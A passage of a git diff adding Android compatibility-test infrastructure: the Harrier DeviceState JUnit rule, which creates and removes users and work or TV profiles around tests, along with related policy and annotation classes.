+import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserBuilder;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.lang.annotation.Annotation;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+
+
+/**
+ * A Junit rule which exposes methods for efficiently changing and querying device state.
+ *
+ * <p>States set by the methods on this class will by default be cleaned up after the test.
+ *
+ *
+ * <p>Using this rule also enforces preconditions in annotations from the
+ * {@code com.android.comaptibility.common.util.enterprise.annotations} package.
+ *
+ * {@code assumeTrue} will be used, so tests which do not meet preconditions will be skipped.
+ */
+public final class DeviceState implements TestRule {
+
+    private final Context mContext = ApplicationProvider.getApplicationContext();
+    private static final TestApis sTestApis = new TestApis();
+    private static final String SKIP_TEST_TEARDOWN_KEY = "skip-test-teardown";
+    private static final String SKIP_CLASS_TEARDOWN_KEY = "skip-class-teardown";
+    private static final String SKIP_TESTS_REASON_KEY = "skip-tests-reason";
+    private boolean mSkipTestTeardown;
+    private boolean mSkipClassTeardown;
+    private boolean mSkipTests;
+    private boolean mUsingBedsteadJUnit4 = false;
+    private String mSkipTestsReason;
+
+    private static final String TV_PROFILE_TYPE_NAME = "com.android.tv.profile";
+
+    public DeviceState() {
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        mSkipTestTeardown = Boolean.parseBoolean(
+                arguments.getString(SKIP_TEST_TEARDOWN_KEY, "false"));
+        mSkipClassTeardown = Boolean.parseBoolean(
+                arguments.getString(SKIP_CLASS_TEARDOWN_KEY, "false"));
+        mSkipTestsReason = arguments.getString(SKIP_TESTS_REASON_KEY, "");
+        mSkipTests = !mSkipTestsReason.isEmpty();
+    }
+
+    void setSkipTestTeardown(boolean skipTestTeardown) {
+        mSkipTestTeardown = skipTestTeardown;
+    }
+
+    void setUsingBedsteadJUnit4(boolean usingBedsteadJUnit4) {
+        mUsingBedsteadJUnit4 = usingBedsteadJUnit4;
+    }
+
+    @Override public Statement apply(final Statement base,
+            final Description description) {
+
+        if (description.isTest()) {
+            return applyTest(base, description);
+        } else if (description.isSuite()) {
+            return applySuite(base, description);
+        }
+        throw new IllegalStateException("Unknown description type: " + description);
+    }
+
+    private Statement applyTest(final Statement base, final Description description) {
+        return new Statement() {
+            @Override public void evaluate() throws Throwable {
+                Log.d(LOG_TAG, "Preparing state for test " + description.getMethodName());
+
+                assumeFalse(mSkipTestsReason, mSkipTests);
+
+                for (Annotation annotation : getAnnotations(description)) {
+                    Class<? extends Annotation> annotationType = annotation.annotationType();
+
+                    EnsureHasNoProfileAnnotation ensureHasNoProfileAnnotation =
+                            annotationType.getAnnotation(EnsureHasNoProfileAnnotation.class);
+                    if (ensureHasNoProfileAnnotation != null) {
+                        UserType userType = (UserType) annotation.annotationType()
+                                .getMethod("forUser").invoke(annotation);
+                        ensureHasNoProfile(ensureHasNoProfileAnnotation.value(), userType);
+                    }
+
+                    EnsureHasProfileAnnotation ensureHasProfileAnnotation =
+                            annotationType.getAnnotation(EnsureHasProfileAnnotation.class);
+                    if (ensureHasProfileAnnotation != null) {
+                        UserType forUser = (UserType) annotation.annotationType()
+                                .getMethod("forUser").invoke(annotation);
+                        boolean installTestApp = (boolean) annotation.annotationType()
+                                .getMethod("installTestApp").invoke(annotation);
+                            ensureHasProfile(
+                                    ensureHasProfileAnnotation.value(), installTestApp, forUser);
+                    }
+
+
+                    EnsureHasNoUserAnnotation ensureHasNoUserAnnotation =
+                            annotationType.getAnnotation(EnsureHasNoUserAnnotation.class);
+                    if (ensureHasNoUserAnnotation != null) {
+                        ensureHasNoUser(ensureHasNoUserAnnotation.value());
+                    }
+
+                    EnsureHasUserAnnotation ensureHasUserAnnotation =
+                            annotationType.getAnnotation(EnsureHasUserAnnotation.class);
+                    if (ensureHasUserAnnotation != null) {
+                        boolean installTestApp = (boolean) annotation.getClass()
+                                .getMethod("installTestApp").invoke(annotation);
+                        ensureHasUser(ensureHasUserAnnotation.value(), installTestApp);
+                    }
+
+                    RequireRunOnUserAnnotation requireRunOnUserAnnotation =
+                            annotationType.getAnnotation(RequireRunOnUserAnnotation.class);
+                    if (requireRunOnUserAnnotation != null) {
+                        requireRunOnUser(requireRunOnUserAnnotation.value());
+                    }
+
+                    if (annotation instanceof RequireFeatures) {
+                        RequireFeatures requireFeaturesAnnotation = (RequireFeatures) annotation;
+                        for (String feature: requireFeaturesAnnotation.value()) {
+                            requireFeature(feature, requireFeaturesAnnotation.failureMode());
+                        }
+                    }
+
+                    if (annotation instanceof RequireUserSupported) {
+                        RequireUserSupported requireUserSupportedAnnotation =
+                                (RequireUserSupported) annotation;
+                        for (String userType: requireUserSupportedAnnotation.value()) {
+                            requireUserSupported(
+                                    userType, requireUserSupportedAnnotation.failureMode());
+                        }
+                    }
+
+                }
+                Log.d(LOG_TAG,
+                        "Finished preparing state for test " + description.getMethodName());
+
+                try {
+                    base.evaluate();
+                } finally {
+                    Log.d(LOG_TAG,
+                            "Tearing down state for test " + description.getMethodName());
+                    teardownNonShareableState();
+                    if (!mSkipTestTeardown) {
+                        teardownShareableState();
+                    }
+                    Log.d(LOG_TAG,
+                            "Finished tearing down state for test " + description.getMethodName());
+                }
+            }};
+    }
+
+    private Collection<Annotation> getAnnotations(Description description) {
+        if (mUsingBedsteadJUnit4) {
+            // The annotations are already exploded
+            return description.getAnnotations();
+        }
+
+        // Otherwise we should build a new collection by recursively gathering annotations
+        // if we find any which don't work without the runner we should error and fail the test
+        List<Annotation> annotations = new ArrayList<>(description.getAnnotations());
+        checkAnnotations(annotations);
+
+        BedsteadJUnit4.resolveRecursiveAnnotations(annotations,
+                /* parameterizedAnnotation= */ null);
+
+        checkAnnotations(annotations);
+
+        return annotations;
+    }
+
+    private void checkAnnotations(Collection<Annotation> annotations) {
+        for (Annotation annotation : annotations) {
+            if (annotation.annotationType().getAnnotation(RequiresBedsteadJUnit4.class) != null
+                    || annotation.annotationType().getAnnotation(
+                            ParameterizedAnnotation.class) != null) {
+                throw new AssertionFailedError("Test is annotated "
+                        + annotation.annotationType().getSimpleName()
+                        + " which requires using the BedsteadJUnit4 test runner");
+            }
+        }
+    }
+
+    private Statement applySuite(final Statement base, final Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                base.evaluate();
+
+                if (!mSkipClassTeardown) {
+                    teardownShareableState();
+                }
+            }
+        };
+    }
+
+    private void requireRunOnUser(String userType) {
+        assumeTrue("This test only runs on users of type " + userType,
+                isRunningOnUser(userType));
+    }
+
+    private void requireFeature(String feature, FailureMode failureMode) {
+        checkFailOrSkip("Device must have feature " + feature,
+                sTestApis.packages().features().contains(feature), failureMode);
+    }
+
+    private com.android.bedstead.nene.users.UserType requireUserSupported(
+            String userType, FailureMode failureMode) {
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                sTestApis.users().supportedType(userType);
+
+        checkFailOrSkip(
+                "Device must support user type " + userType
+                + " only supports: " + sTestApis.users().supportedTypes(),
+                resolvedUserType != null, failureMode);
+
+        return resolvedUserType;
+    }
+
+    private void checkFailOrSkip(String message, boolean value, FailureMode failureMode) {
+        if (failureMode.equals(FailureMode.FAIL)) {
+            assertWithMessage(message).that(value).isTrue();
+        } else if (failureMode.equals(FailureMode.SKIP)) {
+            assumeTrue(message, value);
+        } else {
+            throw new IllegalStateException("Unknown failure mode: " + failureMode);
+        }
+    }
+
+    public enum UserType {
+        CURRENT_USER,
+        PRIMARY_USER,
+        SECONDARY_USER,
+        WORK_PROFILE,
+        TV_PROFILE,
+    }
+
+    private static final String LOG_TAG = "DeviceState";
+
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private final Map<com.android.bedstead.nene.users.UserType, UserReference> mUsers =
+            new HashMap<>();
+    private final Map<com.android.bedstead.nene.users.UserType, Map<UserReference, UserReference>>
+            mProfiles = new HashMap<>();
+
+    private final List<UserReference> mCreatedUsers = new ArrayList<>();
+    private final List<UserBuilder> mRemovedUsers = new ArrayList<>();
+    private final List<BlockingBroadcastReceiver> mRegisteredBroadcastReceivers = new ArrayList<>();
+
+    /**
+     * Get the {@link UserReference} of the work profile for the current user
+     *
+     * <p>This should only be used to get work profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed work profile
+     */
+    public UserReference workProfile() {
+        return workProfile(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    /**
+     * Get the {@link UserReference} of the work profile.
+     *
+     * <p>This should only be used to get work profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed work profile for the given user
+     */
+    public UserReference workProfile(UserType forUser) {
+        return workProfile(resolveUserTypeToUser(forUser));
+    }
+
+    /**
+     * Get the {@link UserReference} of the work profile.
+     *
+     * <p>This should only be used to get work profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed work profile for the given user
+     */
+    public UserReference workProfile(UserReference forUser) {
+        return profile(MANAGED_PROFILE_TYPE_NAME, forUser);
+    }
+
+    private UserReference profile(String profileType, UserReference forUser) {
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                sTestApis.users().supportedType(profileType);
+
+        if (resolvedUserType == null) {
+            throw new IllegalStateException("Can not have a profile of type " + profileType
+                    + " as they are not supported on this device");
+        }
+
+        return profile(resolvedUserType, forUser);
+    }
+
+    private UserReference profile(
+            com.android.bedstead.nene.users.UserType userType, UserReference forUser) {
+        if (userType == null || forUser == null) {
+            throw new NullPointerException();
+        }
+
+        if (!mProfiles.containsKey(userType) || !mProfiles.get(userType).containsKey(forUser)) {
+            throw new IllegalStateException(
+                    "No harrier-managed profile of type " + userType + ". This method should only"
+                            + " be used when Harrier has been used to create the profile.");
+        }
+
+        return mProfiles.get(userType).get(forUser);
+    }
+
+    private boolean isRunningOnUser(String userType) {
+        return sTestApis.users().instrumented()
+                .resolve().type().name().equals(userType);
+    }
+
+    /**
+     * Get the {@link UserReference} of the tv profile for the current user
+     *
+     * <p>This should only be used to get tv profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed tv profile
+     */
+    public UserReference tvProfile() {
+        return tvProfile(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    /**
+     * Get the {@link UserReference} of the tv profile.
+     *
+     * <p>This should only be used to get tv profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed tv profile
+     */
+    public UserReference tvProfile(UserType forUser) {
+        return tvProfile(resolveUserTypeToUser(forUser));
+    }
+
+    /**
+     * Get the {@link UserReference} of the tv profile.
+     *
+     * <p>This should only be used to get tv profiles managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed tv profile
+     */
+    public UserReference tvProfile(UserReference forUser) {
+        return profile(TV_PROFILE_TYPE_NAME, forUser);
+    }
+
+    /**
+     * Get the user ID of the first human user on the device.
+     *
+     * <p>Returns {@code null} if there is none present.
+     */
+    @Nullable
+    public UserReference primaryUser() {
+        return sTestApis.users().all()
+                .stream().filter(User::isPrimary).findFirst().orElse(null);
+    }
+
+    /**
+     * Get a secondary user.
+     *
+     * <p>This should only be used to get secondary users managed by Harrier (using either the
+     * annotations or calls to the {@link DeviceState} class.
+     *
+     * @throws IllegalStateException if there is no harrier-managed secondary user
+     */
+    @Nullable
+    public UserReference secondaryUser() {
+        return user(SECONDARY_USER_TYPE_NAME);
+    }
+
+    private UserReference user(String userType) {
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                sTestApis.users().supportedType(userType);
+
+        if (resolvedUserType == null) {
+            throw new IllegalStateException("Can not have a user of type " + userType
+                    + " as they are not supported on this device");
+        }
+
+        return user(resolvedUserType);
+    }
+
+    private UserReference user(com.android.bedstead.nene.users.UserType userType) {
+        if (userType == null) {
+            throw new NullPointerException();
+        }
+
+        if (!mUsers.containsKey(userType)) {
+            throw new IllegalStateException(
+                    "No harrier-managed secondary user. This method should only be used when "
+                            + "Harrier has been used to create the secondary user.");
+        }
+
+        return mUsers.get(userType);
+    }
+
+    private UserReference ensureHasProfile(
+            String profileType, boolean installTestApp, UserType forUser) {
+        requireFeature("android.software.managed_users", FailureMode.SKIP);
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                requireUserSupported(profileType, FailureMode.SKIP);
+
+        UserReference forUserReference = resolveUserTypeToUser(forUser);
+
+        UserReference profile =
+                sTestApis.users().findProfileOfType(resolvedUserType, forUserReference);
+        if (profile == null) {
+            profile = createProfile(resolvedUserType, forUserReference);
+        }
+
+        profile.start();
+
+        if (installTestApp) {
+            sTestApis.packages().find(sContext.getPackageName()).install(profile);
+        } else {
+            sTestApis.packages().find(sContext.getPackageName()).uninstall(profile);
+        }
+
+        if (!mProfiles.containsKey(resolvedUserType)) {
+            mProfiles.put(resolvedUserType, new HashMap<>());
+        }
+
+        mProfiles.get(resolvedUserType).put(forUserReference, profile);
+
+        return profile;
+    }
+
+    private void ensureHasNoProfile(String profileType, UserType forUser) {
+        requireFeature("android.software.managed_users", FailureMode.SKIP);
+
+        UserReference forUserReference = resolveUserTypeToUser(forUser);
+        com.android.bedstead.nene.users.UserType resolvedProfileType =
+                sTestApis.users().supportedType(profileType);
+
+        if (resolvedProfileType == null) {
+            // These profile types don't exist so there can't be any
+            return;
+        }
+
+        UserReference profile =
+                sTestApis.users().findProfileOfType(
+                        resolvedProfileType,
+                        forUserReference);
+        if (profile != null) {
+            removeAndRecordUser(profile.resolve());
+        }
+    }
+
+    private void ensureHasUser(String userType, boolean installTestApp) {
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                requireUserSupported(userType, FailureMode.SKIP);
+
+        Collection<UserReference> users = sTestApis.users().findUsersOfType(resolvedUserType);
+
+        UserReference user = users.isEmpty() ? createUser(resolvedUserType)
+                : users.iterator().next();
+
+        user.start();
+
+        if (installTestApp) {
+            sTestApis.packages().find(sContext.getPackageName()).install(user);
+        } else {
+            sTestApis.packages().find(sContext.getPackageName()).uninstall(user);
+        }
+
+        mUsers.put(resolvedUserType, user);
+    }
+
+    /**
+     * Ensure that there is no user of the given type.
+     */
+    private void ensureHasNoUser(String userType) {
+        com.android.bedstead.nene.users.UserType resolvedUserType =
+                sTestApis.users().supportedType(userType);
+
+        if (resolvedUserType == null) {
+            // These user types don't exist so there can't be any
+            return;
+        }
+
+        for (UserReference secondaryUser : sTestApis.users().findUsersOfType(resolvedUserType)) {
+            removeAndRecordUser(secondaryUser.resolve());
+        }
+    }
+
+    private void removeAndRecordUser(User user) {
+        if (user == null) {
+            return; // Nothing to remove
+        }
+
+        mRemovedUsers.add(sTestApis.users().createUser()
+                .name(user.name())
+                .type(user.type())
+                .parent(user.parent()));
+
+        user.remove();
+    }
+
+    public void requireCanSupportAdditionalUser() {
+        int maxUsers = getMaxNumberOfUsersSupported();
+        int currentUsers = sTestApis.users().all().size();
+
+        assumeTrue("The device does not have space for an additional user (" + currentUsers +
+                " current users, " + maxUsers + " max users)", currentUsers + 1 <= maxUsers);
+    }
+
+    /**
+     * Create and register a {@link BlockingBroadcastReceiver} which will be unregistered after the
+     * test has run.
+     */
+    public BlockingBroadcastReceiver registerBroadcastReceiver(String action) {
+        return registerBroadcastReceiver(action, /* checker= */ null);
+    }
+
+    /**
+     * Create and register a {@link BlockingBroadcastReceiver} which will be unregistered after the
+     * test has run.
+     */
+    public BlockingBroadcastReceiver registerBroadcastReceiver(
+            String action, Function<Intent, Boolean> checker) {
+        BlockingBroadcastReceiver broadcastReceiver =
+                new BlockingBroadcastReceiver(mContext, action, checker);
+        broadcastReceiver.register();
+        mRegisteredBroadcastReceivers.add(broadcastReceiver);
+
+        return broadcastReceiver;
+    }
+
+    private UserReference resolveUserTypeToUser(UserType userType) {
+        switch (userType) {
+            case CURRENT_USER:
+                return sTestApis.users().instrumented();
+            case PRIMARY_USER:
+                return primaryUser();
+            case SECONDARY_USER:
+                return secondaryUser();
+            case WORK_PROFILE:
+                return workProfile();
+            case TV_PROFILE:
+                return tvProfile();
+            default:
+                throw new IllegalArgumentException("Unknown user type " + userType);
+        }
+    }
+
+    private void teardownNonShareableState() {
+        mProfiles.clear();
+        mUsers.clear();
+
+        for (BlockingBroadcastReceiver broadcastReceiver : mRegisteredBroadcastReceivers) {
+            broadcastReceiver.unregisterQuietly();
+        }
+        mRegisteredBroadcastReceivers.clear();
+    }
+
+    private void teardownShareableState() {
+        for (UserReference user : mCreatedUsers) {
+            user.remove();
+        }
+
+        mCreatedUsers.clear();
+
+        for (UserBuilder userBuilder : mRemovedUsers) {
+            userBuilder.create();
+        }
+
+        mRemovedUsers.clear();
+    }
+
+    private UserReference createProfile(
+            com.android.bedstead.nene.users.UserType profileType, UserReference parent) {
+        requireCanSupportAdditionalUser();
+        try {
+            UserReference user = sTestApis.users().createUser()
+                    .parent(parent)
+                    .type(profileType)
+                    .createAndStart();
+            mCreatedUsers.add(user);
+            return user;
+        } catch (NeneException e) {
+            throw new IllegalStateException("Error creating profile of type " + profileType, e);
+        }
+    }
+
+    private UserReference createUser(com.android.bedstead.nene.users.UserType userType) {
+        requireCanSupportAdditionalUser();
+        try {
+            UserReference user = sTestApis.users().createUser()
+                    .type(userType)
+                    .createAndStart();
+            mCreatedUsers.add(user);
+            return user;
+        } catch (NeneException e) {
+            throw new IllegalStateException("Error creating user of type " + userType, e);
+        }
+    }
+
+    private int getMaxNumberOfUsersSupported() {
+        try {
+            return ShellCommand.builder("pm get-max-users")
+                    .validate((output) -> output.startsWith("Maximum supported users:"))
+                    .executeAndParseOutput(
+                            (output) -> Integer.parseInt(output.split(": ", 2)[1].trim()));
+        } catch (AdbException e) {
+            throw new IllegalStateException("Invalid command output", e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
new file mode 100644
index 0000000..3496f86
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnDeviceOwnerUser;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
+
+import java.lang.annotation.Annotation;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Utility class for enterprise policy tests.
+ */
+@IncludeNone
+@IncludeRunOnDeviceOwnerUser
+@IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
+public final class Policy {
+
+    private Policy() {
+
+    }
+
+    private static final IncludeNone INCLUDE_NONE_ANNOTATION =
+            Policy.class.getAnnotation(IncludeNone.class);
+    private static final IncludeRunOnDeviceOwnerUser INCLUDE_RUN_ON_DEVICE_OWNER_USER =
+            Policy.class.getAnnotation(IncludeRunOnDeviceOwnerUser.class);
+    private static final IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
+            INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER =
+            Policy.class.getAnnotation(IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.class);
+
+    /**
+     * Get positive state annotations for the given policy.
+     *
+     * <p>These are states which should be run where the policy is able to be applied.
+     */
+    public static List<Annotation> positiveStates(EnterprisePolicy enterprisePolicy) {
+        List<Annotation> annotations = new ArrayList<>();
+
+        annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
+        annotations.add(INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
+
+        return annotations;
+    }
+
+    /**
+     * Get negative state annotations for the given policy.
+     *
+     * <p>These are states which should be run where the policy is not able to be applied.
+     */
+    public static List<Annotation> negativeStates(EnterprisePolicy enterprisePolicy) {
+        List<Annotation> annotations = new ArrayList<>();
+
+        annotations.add(INCLUDE_NONE_ANNOTATION);
+
+        return annotations;
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java
new file mode 100644
index 0000000..e66a126
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasNoUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a device which has no secondary user that is not the
+ * current user.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a device which
+ * has no secondary user that is not the current user. Otherwise, you can use {@link DeviceState}
+ * to ensure that the device enters the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasNoUserAnnotation("android.os.usertype.full.SECONDARY")
+public @interface EnsureHasNoSecondaryUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java
new file mode 100644
index 0000000..29bd8ee
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasNoProfileAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which has no Tv profile.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * no Tv profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasNoProfileAnnotation("com.android.tv.profile")
+public @interface EnsureHasNoTvProfile {
+    /** Which user type the tv profile should not be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
new file mode 100644
index 0000000..2a1e48e
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasNoProfileAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which does not have a work profile.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * no work profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasNoProfileAnnotation("android.os.usertype.profile.MANAGED")
+public @interface EnsureHasNoWorkProfile {
+    /** Which user type the work profile should not be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
new file mode 100644
index 0000000..3e58efc
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a device which has a secondary user that is not the
+ * current user.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a device which
+ * has a secondary user that is not the current user. Otherwise, you can use {@link DeviceState}
+ * to ensure that the device enters the correct state for the method. If there is not already a
+ * secondary user on the device, and the device does not support creating additional users, then
+ * the test will be skipped.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasUserAnnotation("android.os.usertype.full.SECONDARY")
+public @interface EnsureHasSecondaryUser {
+    /** Whether the test app should be installed in the secondary user. */
+    boolean installTestApp() default true;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
new file mode 100644
index 0000000..7c4438b
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasProfileAnnotation;
+
+import java.lang.annotation.ElementType;
